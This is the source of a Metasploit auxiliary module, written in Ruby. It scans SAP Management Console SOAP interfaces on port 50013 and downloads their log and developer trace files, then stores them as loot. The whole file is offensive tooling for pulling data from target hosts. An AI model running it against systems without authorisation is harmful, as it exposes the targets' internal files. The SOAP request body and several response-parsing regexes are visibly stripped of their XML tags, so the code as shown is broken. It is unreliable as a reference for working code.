## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SAP Management Console Get Logfile', 'Version' => '$Revision$', 'Description' => %q{ This module simply attempts to download available logfiles and developer tracefiles through the SAP Management Console SOAP Interface. Please use the sap_manamgenet_console_listlogfiles extension to view a list of availble files. }, 'References' => [ # General [ 'URL', 'http://blog.c22.cc' ] ], 'Author' => [ 'Chris John Riley' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('RFILE', [ true, 'The name of the file to download', 'sapstart.log']), OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']), ], self.class) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end def rport datastore['RPORT'] end def run_host(ip) res = send_request_cgi({ 'uri' => "/#{datastore['URI']}", 'method' => 'GET', 'headers' => { 'User-Agent' => datastore['UserAgent'] } }, 25) return if not res gettfiles(ip) end def gettfiles(rhost) verbose = datastore['VERBOSE'] print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") success = false soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' xsi = 'http://www.w3.org/2001/XMLSchema-instance' xs = 'http://www.w3.org/2001/XMLSchema' sapsess = 'http://www.sap.com/webas/630/soap/features/session/' case "#{datastore['FILETYPE']}" when /^LOG/i ns1 = 'ns1:ReadLogFile' when /^TRACE/i ns1 = 'ns1:ReadDeveloperTrace' end data = '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << 'true' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "#{datastore['RFILE']}" + '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n\r\n" begin res = send_request_raw({ 'uri' => "/#{datastore['URI']}", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Length' => data.length, 'SOAPAction' => '""', 'Content-Type' => 'text/xml; charset=UTF-8', } }, 120) env = [] if res.code == 200 case res.body when nil # Nothing when /([^<]+)<\/item>/i body = [] body = res.body env = body.scan(/([^<]+)<\/item>/i) success = true end case res.body when nil # Nothing when /([^<]+)<\/name>/i name = $1.strip success = true end elsif res.code == 500 case res.body when /(.*)<\/faultstring>/i faultcode = $1.strip fault = true end end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} [SAP] Unable to connect") return end if success print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{datastore['RFILE'].downcase} looted") store_loot("sap.#{datastore['FILETYPE'].downcase}file", "text/xml", rhost, res.body, "sap_#{datastore['RFILE'].downcase}.xml", "SAP Get Logfile") elsif fault print_error("#{rhost}:#{rport} [SAP] Errorcode: #{faultcode}") return else print_error("#{rhost}:#{rport} [SAP] failed to request environment") return end end end